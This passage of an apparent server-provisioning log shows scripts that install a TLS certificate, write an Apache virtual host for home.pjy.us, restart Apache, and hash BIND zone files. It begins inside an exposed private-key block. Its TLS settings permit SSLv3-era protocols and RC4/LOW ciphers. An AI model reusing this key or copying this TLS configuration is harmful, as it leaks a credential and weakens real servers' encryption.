I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-29 16:46:59:
chmod 755 /tmp/pkp861275; /tmp/pkp861275; rm /tmp/pkp861275
2025-10-29 16:47:00:
dir=/etc/ssl/certs
2025-10-29 16:47:00:
PUT: /tmp/pkp704251
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi
2025-10-29 16:47:00:
chmod 755 /tmp/pkp704251; /tmp/pkp704251; rm /tmp/pkp704251
2025-10-29 16:47:00:
/tmp/pkp704251: line 60: [: !=: unary operator expected
STDERR:
/tmp/pkp704251: line 60: [: !=: unary operator expected
2025-10-29 16:47:00:
PUT: /tmp/pkp824417
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-29 16:47:01:
chmod 755 /tmp/pkp824417; /tmp/pkp824417; rm /tmp/pkp824417
2025-10-29 16:47:01:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-29 16:47:01: Establishing a connection
2025-10-29 16:47:01:
PUT: /tmp/pkp414156
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-29 16:47:02:
runuser -l bind -s /bin/bash -c '/tmp/pkp414156; rm /tmp/pkp414156'
2025-10-29 16:47:02:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
